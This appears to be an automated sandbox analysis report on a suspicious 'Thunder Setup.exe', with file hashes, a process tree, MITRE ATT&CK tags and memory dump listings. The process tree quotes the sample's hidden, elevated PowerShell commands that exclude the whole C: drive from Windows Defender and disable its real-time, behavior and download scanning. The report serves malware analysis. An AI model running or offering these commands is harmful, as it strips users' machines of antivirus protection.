8e3247579c4f432a90f1822f5151c6dc2836f7962d840a439fae8c6c8a76d294

Resubmissions

14/07/2024, 22:14

240714-15wd4sxcrg 8

14/07/2024, 16:06

240714-tj3gzaxdrn 8

Analysis

max time kernel
144s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 16:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Thunder Setup.exe
Size

78KB
MD5

1eb797341e423c83060a36b92c720cc9
SHA1

380828212f0bb9a82d568491247a590a316e4351
SHA256

0842a46a5113b1ff571e62101c556565c853a0c0c792f7fdde57eb40e0256177
SHA512

9115d3a22f0163747de035273cd44caa84c46e17cd3fee863172e35688455def25e07bdbf7bdcec940dfd8bd2da7eb10e360d7f5a9413efc8c4b61ad4605c19b
SSDEEP

1536:aZ2FWSNhd/4131izmvch6oKnLzx9QAkhHQ40Gp/VS6:A2ddQ131izLh6oqLzHHuHQ40Gp/VT

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1384	Powershell.exe
3232	Powershell.exe
1044	Powershell.exe
4208	Powershell.exe
3232	Powershell.exe
4740	powershell.exe
2940	powershell.exe
4152	powershell.exe
4892	powershell.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4208	Powershell.exe
1384	Powershell.exe
1044	Powershell.exe
3232	Powershell.exe
4208	Powershell.exe
1044	Powershell.exe
3232	Powershell.exe
1384	Powershell.exe
2940	powershell.exe
4740	powershell.exe
4152	powershell.exe
4892	powershell.exe
4152	powershell.exe
2940	powershell.exe
4740	powershell.exe
4892	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1044	Powershell.exe
Token: SeDebugPrivilege	3232	Powershell.exe
Token: SeDebugPrivilege	4208	Powershell.exe
Token: SeDebugPrivilege	1384	Powershell.exe
Token: SeDebugPrivilege	2940	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2916	javaw.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 896 wrote to memory of 2916	896	Thunder Setup.exe	84
PID 896 wrote to memory of 2916	896	Thunder Setup.exe	84
PID 896 wrote to memory of 2916	896	Thunder Setup.exe	84
PID 2916 wrote to memory of 3232	2916	javaw.exe	85
PID 2916 wrote to memory of 3232	2916	javaw.exe	85
PID 2916 wrote to memory of 3232	2916	javaw.exe	85
PID 2916 wrote to memory of 1384	2916	javaw.exe	86
PID 2916 wrote to memory of 1384	2916	javaw.exe	86
PID 2916 wrote to memory of 1384	2916	javaw.exe	86
PID 2916 wrote to memory of 4208	2916	javaw.exe	87
PID 2916 wrote to memory of 4208	2916	javaw.exe	87
PID 2916 wrote to memory of 4208	2916	javaw.exe	87
PID 2916 wrote to memory of 1044	2916	javaw.exe	88
PID 2916 wrote to memory of 1044	2916	javaw.exe	88
PID 2916 wrote to memory of 1044	2916	javaw.exe	88
PID 4208 wrote to memory of 4152	4208	Powershell.exe	94
PID 4208 wrote to memory of 4152	4208	Powershell.exe	94
PID 4208 wrote to memory of 4152	4208	Powershell.exe	94
PID 1384 wrote to memory of 2940	1384	Powershell.exe	93
PID 1384 wrote to memory of 2940	1384	Powershell.exe	93
PID 1384 wrote to memory of 2940	1384	Powershell.exe	93
PID 3232 wrote to memory of 4740	3232	Powershell.exe	95
PID 3232 wrote to memory of 4740	3232	Powershell.exe	95
PID 3232 wrote to memory of 4740	3232	Powershell.exe	95
PID 1044 wrote to memory of 4892	1044	Powershell.exe	99
PID 1044 wrote to memory of 4892	1044	Powershell.exe	99
PID 1044 wrote to memory of 4892	1044	Powershell.exe	99

C:\Users\Admin\AppData\Local\Temp\Thunder Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Thunder Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:896
- C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe
  "C:\Users\Admin\AppData\Local\Temp\jre\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "lib\.;lib\..;lib\activation.jar;lib\antlr4-runtime.jar;lib\asm-all.jar;lib\commons-email.jar;lib\connector-api.jar;lib\dn-compiled-module.jar;lib\dn-php-sdk.jar;lib\dyn4j.jar;lib\gson.jar;lib\HikariCP-java6.jar;lib\javassist-GA.jar;lib\jaybird-jdk18.jar;lib\jfoenix.jar;lib\jkeymaster.jar;lib\jna.jar;lib\jphp-app-framework.jar;lib\jphp-core.jar;lib\jphp-desktop-ext.jar;lib\jphp-desktop-hotkey-ext.jar;lib\jphp-game-ext.jar;lib\jphp-gui-ext.jar;lib\jphp-gui-jfoenix-ext.jar;lib\jphp-json-ext.jar;lib\jphp-jsoup-ext.jar;lib\jphp-mail-ext.jar;lib\jphp-runtime.jar;lib\jphp-sql-ext.jar;lib\jphp-systemtray-ext.jar;lib\jphp-xml-ext.jar;lib\jphp-zend-ext.jar;lib\jphp-zip-ext.jar;lib\jsoup.jar;lib\mail.jar;lib\mysql-connector-java.jar;lib\postgresql.jre7.jar;lib\slf4j-api.jar;lib\slf4j-simple.jar;lib\sqlite-jdbc.jar;lib\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    Powershell.exe -Command "& {Start-Process Powershell.exe -WindowStyle hidden -ArgumentList '-Command Add-MpPreference -Force -ExclusionPath C:\' -Verb RunAs}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -Force -ExclusionPath C:\
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    Powershell.exe -Command "& {Start-Process Powershell.exe -WindowStyle hidden -ArgumentList '-Command Set-MpPreference -Force -DisableBehaviorMonitoring ' -Verb RunAs}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1384
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -Force -DisableBehaviorMonitoring
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    Powershell.exe -Command "& {Start-Process Powershell.exe -WindowStyle hidden -ArgumentList '-Command Set-MpPreference -Force -DisableIOAVProtection ' -Verb RunAs}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -Force -DisableIOAVProtection
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4152
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    Powershell.exe -Command "& {Start-Process Powershell.exe -WindowStyle hidden -ArgumentList '-Command Set-MpPreference -Force -DisableRealtimeMonitoring ' -Verb RunAs}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Set-MpPreference -Force -DisableRealtimeMonitoring
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Powershell.exe.log

Filesize
1KB

MD5
def65711d78669d7f8e69313be4acf2e

SHA1
6522ebf1de09eeb981e270bd95114bc69a49cda6

SHA256
aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

SHA512
05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
51a5be86e86bf6e624d3741f4746bfd8

SHA1
47f79aaa56fa4552d9471085f48733b737eac55e

SHA256
5b28d07b9ee806eb4a5d6905b1ad3e6c1e6c6627aacadc10266b50cac568f614

SHA512
b51e5d140b3c74c87ca9f2de5aa8274267609d9879980344ecb69662709c6b5197dec0843426abd0a8ef0f5d9726b4ac334cf47c96743909836cb7cab7c7410f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
0870506e42689a34428612801ae46128

SHA1
4593d87f415c8c8cb04cd6d8bebd10730c70673b

SHA256
cbd3d8882bd6948802037f8eaefbaab9e8ab36ae710447f8d27fef721065c83c

SHA512
e27b9c6953e779e0a67c6d1d72449e45e55ba3ce6a5c553f9c4ed3d2d1c438501ea7c90535c6a67aeefe62975980c794314aa7e771e46e7dfa55b6a6525f9805

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
da2edc1ce4a04a7383b35e54b94f0d64

SHA1
9cdbaa62c2ab255e4807482706b9208d77a1e32d

SHA256
a143f97aabfde0bb44b65a6a3a023e75f1601198b5ac3581a907882f7cffc676

SHA512
de3e7c8f0e7491b3ee889a3f5e776de743f732acc01f8d71c8ec77840e81f03edde85ceb5ca0e1bfda99f265c210143963ef566a06d57878cc61e2af69dcfba0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
b7cba3023d5248e01e4109455ca8261b

SHA1
237ffa11c20575a02e64e4f8344dad949316681c

SHA256
6250ac3c8373493504847ba10b5294658546a9d9f84d245f322cad241fef2e17

SHA512
4d47a997f6a28325b653ae13501eac70ce2251407641a22db9fc01cf11969507e408f37d3d2a70cf9790cf22eb33dd79e70ec07b1b67e8eae2bb26d45d35c2d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axpq2dul.oat.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/896-0-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1044-184-0x0000000005450000-0x0000000005472000-memory.dmp

Filesize
136KB

Download
memory/1044-192-0x0000000005DC0000-0x0000000006114000-memory.dmp

Filesize
3.3MB

Download
memory/1384-182-0x0000000004F90000-0x0000000004FC6000-memory.dmp

Filesize
216KB

Download
memory/2916-113-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-62-0x0000000002E10000-0x0000000002E18000-memory.dmp

Filesize
32KB

Download
memory/2916-34-0x0000000002E18000-0x0000000002E20000-memory.dmp

Filesize
32KB

Download
memory/2916-37-0x0000000002E20000-0x0000000002E28000-memory.dmp

Filesize
32KB

Download
memory/2916-38-0x0000000002E28000-0x0000000002E30000-memory.dmp

Filesize
32KB

Download
memory/2916-40-0x0000000002E30000-0x0000000002E38000-memory.dmp

Filesize
32KB

Download
memory/2916-41-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-43-0x0000000002E38000-0x0000000002E40000-memory.dmp

Filesize
32KB

Download
memory/2916-45-0x0000000002E40000-0x0000000002E48000-memory.dmp

Filesize
32KB

Download
memory/2916-51-0x0000000002E48000-0x0000000002E50000-memory.dmp

Filesize
32KB

Download
memory/2916-50-0x0000000002D70000-0x0000000002D98000-memory.dmp

Filesize
160KB

Download
memory/2916-54-0x0000000002E50000-0x0000000002E58000-memory.dmp

Filesize
32KB

Download
memory/2916-53-0x0000000002DB8000-0x0000000002DC0000-memory.dmp

Filesize
32KB

Download
memory/2916-58-0x0000000002E58000-0x0000000002E60000-memory.dmp

Filesize
32KB

Download
memory/2916-57-0x0000000002DC0000-0x0000000002DC8000-memory.dmp

Filesize
32KB

Download
memory/2916-64-0x0000000002E60000-0x0000000002E68000-memory.dmp

Filesize
32KB

Download
memory/2916-63-0x0000000002DA8000-0x0000000002DB0000-memory.dmp

Filesize
32KB

Download
memory/2916-127-0x0000000002ED8000-0x0000000002EE0000-memory.dmp

Filesize
32KB

Download
memory/2916-61-0x0000000002E08000-0x0000000002E10000-memory.dmp

Filesize
32KB

Download
memory/2916-66-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-69-0x0000000002E68000-0x0000000002E70000-memory.dmp

Filesize
32KB

Download
memory/2916-68-0x0000000002E18000-0x0000000002E20000-memory.dmp

Filesize
32KB

Download
memory/2916-72-0x0000000002E70000-0x0000000002E78000-memory.dmp

Filesize
32KB

Download
memory/2916-71-0x0000000002E20000-0x0000000002E28000-memory.dmp

Filesize
32KB

Download
memory/2916-75-0x0000000002E78000-0x0000000002E80000-memory.dmp

Filesize
32KB

Download
memory/2916-74-0x0000000002E28000-0x0000000002E30000-memory.dmp

Filesize
32KB

Download
memory/2916-79-0x0000000002E80000-0x0000000002E88000-memory.dmp

Filesize
32KB

Download
memory/2916-78-0x0000000002E30000-0x0000000002E38000-memory.dmp

Filesize
32KB

Download
memory/2916-86-0x0000000002E88000-0x0000000002E90000-memory.dmp

Filesize
32KB

Download
memory/2916-85-0x0000000002E38000-0x0000000002E40000-memory.dmp

Filesize
32KB

Download
memory/2916-91-0x0000000002E90000-0x0000000002E98000-memory.dmp

Filesize
32KB

Download
memory/2916-90-0x0000000002E40000-0x0000000002E48000-memory.dmp

Filesize
32KB

Download
memory/2916-95-0x0000000002E98000-0x0000000002EA0000-memory.dmp

Filesize
32KB

Download
memory/2916-94-0x0000000002E48000-0x0000000002E50000-memory.dmp

Filesize
32KB

Download
memory/2916-98-0x0000000002EA0000-0x0000000002EA8000-memory.dmp

Filesize
32KB

Download
memory/2916-97-0x0000000002E50000-0x0000000002E58000-memory.dmp

Filesize
32KB

Download
memory/2916-101-0x0000000002EA8000-0x0000000002EB0000-memory.dmp

Filesize
32KB

Download
memory/2916-100-0x0000000002E58000-0x0000000002E60000-memory.dmp

Filesize
32KB

Download
memory/2916-105-0x0000000002EB0000-0x0000000002EB8000-memory.dmp

Filesize
32KB

Download
memory/2916-104-0x0000000002E60000-0x0000000002E68000-memory.dmp

Filesize
32KB

Download
memory/2916-108-0x0000000002EB8000-0x0000000002EC0000-memory.dmp

Filesize
32KB

Download
memory/2916-107-0x0000000002E68000-0x0000000002E70000-memory.dmp

Filesize
32KB

Download
memory/2916-112-0x0000000002EC0000-0x0000000002EC8000-memory.dmp

Filesize
32KB

Download
memory/2916-111-0x0000000002E70000-0x0000000002E78000-memory.dmp

Filesize
32KB

Download
memory/2916-28-0x0000000002E10000-0x0000000002E18000-memory.dmp

Filesize
32KB

Download
memory/2916-119-0x0000000002EC8000-0x0000000002ED0000-memory.dmp

Filesize
32KB

Download
memory/2916-118-0x0000000002E78000-0x0000000002E80000-memory.dmp

Filesize
32KB

Download
memory/2916-121-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-27-0x0000000002E08000-0x0000000002E10000-memory.dmp

Filesize
32KB

Download
memory/2916-5-0x0000000002D70000-0x0000000002D98000-memory.dmp

Filesize
160KB

Download
memory/2916-124-0x0000000002ED0000-0x0000000002ED8000-memory.dmp

Filesize
32KB

Download
memory/2916-126-0x0000000002E88000-0x0000000002E90000-memory.dmp

Filesize
32KB

Download
memory/2916-132-0x0000000002EE0000-0x0000000002EE8000-memory.dmp

Filesize
32KB

Download
memory/2916-131-0x0000000002E90000-0x0000000002E98000-memory.dmp

Filesize
32KB

Download
memory/2916-134-0x0000000002EE8000-0x0000000002EF0000-memory.dmp

Filesize
32KB

Download
memory/2916-133-0x0000000002E98000-0x0000000002EA0000-memory.dmp

Filesize
32KB

Download
memory/2916-139-0x0000000002EA0000-0x0000000002EA8000-memory.dmp

Filesize
32KB

Download
memory/2916-140-0x0000000002EF0000-0x0000000002EF8000-memory.dmp

Filesize
32KB

Download
memory/2916-142-0x0000000002EA8000-0x0000000002EB0000-memory.dmp

Filesize
32KB

Download
memory/2916-143-0x0000000002EF8000-0x0000000002F00000-memory.dmp

Filesize
32KB

Download
memory/2916-148-0x0000000002F00000-0x0000000002F08000-memory.dmp

Filesize
32KB

Download
memory/2916-147-0x0000000002EB0000-0x0000000002EB8000-memory.dmp

Filesize
32KB

Download
memory/2916-152-0x0000000002F10000-0x0000000002F18000-memory.dmp

Filesize
32KB

Download
memory/2916-151-0x0000000002F08000-0x0000000002F10000-memory.dmp

Filesize
32KB

Download
memory/2916-150-0x0000000002EB8000-0x0000000002EC0000-memory.dmp

Filesize
32KB

Download
memory/2916-157-0x0000000002F20000-0x0000000002F28000-memory.dmp

Filesize
32KB

Download
memory/2916-156-0x0000000002F18000-0x0000000002F20000-memory.dmp

Filesize
32KB

Download
memory/2916-155-0x0000000002EC0000-0x0000000002EC8000-memory.dmp

Filesize
32KB

Download
memory/2916-161-0x0000000002F28000-0x0000000002F30000-memory.dmp

Filesize
32KB

Download
memory/2916-160-0x0000000002EC8000-0x0000000002ED0000-memory.dmp

Filesize
32KB

Download
memory/2916-166-0x0000000002F38000-0x0000000002F40000-memory.dmp

Filesize
32KB

Download
memory/2916-165-0x0000000002F30000-0x0000000002F38000-memory.dmp

Filesize
32KB

Download
memory/2916-164-0x0000000002ED0000-0x0000000002ED8000-memory.dmp

Filesize
32KB

Download
memory/2916-169-0x0000000002ED8000-0x0000000002EE0000-memory.dmp

Filesize
32KB

Download
memory/2916-170-0x0000000002F40000-0x0000000002F48000-memory.dmp

Filesize
32KB

Download
memory/2916-173-0x0000000002F48000-0x0000000002F50000-memory.dmp

Filesize
32KB

Download
memory/2916-172-0x0000000002EE0000-0x0000000002EE8000-memory.dmp

Filesize
32KB

Download
memory/2916-177-0x0000000002F50000-0x0000000002F58000-memory.dmp

Filesize
32KB

Download
memory/2916-176-0x0000000002EE8000-0x0000000002EF0000-memory.dmp

Filesize
32KB

Download
memory/2916-178-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-224-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

Filesize
4KB

Download
memory/2916-11-0x0000000002DB8000-0x0000000002DC0000-memory.dmp

Filesize
32KB

Download
memory/2916-279-0x0000000002EF0000-0x0000000002EF8000-memory.dmp

Filesize
32KB

Download
memory/2916-13-0x0000000002DC0000-0x0000000002DC8000-memory.dmp

Filesize
32KB

Download
memory/2916-123-0x0000000002E80000-0x0000000002E88000-memory.dmp

Filesize
32KB

Download
memory/2916-30-0x0000000002DA8000-0x0000000002DB0000-memory.dmp

Filesize
32KB

Download
memory/2916-29-0x0000000002DB0000-0x0000000002DB8000-memory.dmp

Filesize
32KB

Download
memory/3232-228-0x0000000006E50000-0x0000000006E6A000-memory.dmp

Filesize
104KB

Download
memory/3232-227-0x0000000006F80000-0x0000000007016000-memory.dmp

Filesize
600KB

Download
memory/3232-230-0x0000000007F80000-0x0000000008524000-memory.dmp

Filesize
5.6MB

Download
memory/3232-229-0x0000000006EA0000-0x0000000006EC2000-memory.dmp

Filesize
136KB

Download
memory/4152-281-0x000000006EA80000-0x000000006EACC000-memory.dmp

Filesize
304KB

Download
memory/4152-280-0x00000000077A0000-0x00000000077D2000-memory.dmp

Filesize
200KB

Download
memory/4152-291-0x0000000007760000-0x000000000777E000-memory.dmp

Filesize
120KB

Download
memory/4208-226-0x0000000006710000-0x000000000675C000-memory.dmp

Filesize
304KB

Download
memory/4208-185-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Filesize
408KB

Download
memory/4208-186-0x0000000005C20000-0x0000000005C86000-memory.dmp

Filesize
408KB

Download
memory/4208-183-0x0000000005510000-0x0000000005B38000-memory.dmp

Filesize
6.2MB

Download
memory/4208-225-0x0000000006360000-0x000000000637E000-memory.dmp

Filesize
120KB

Download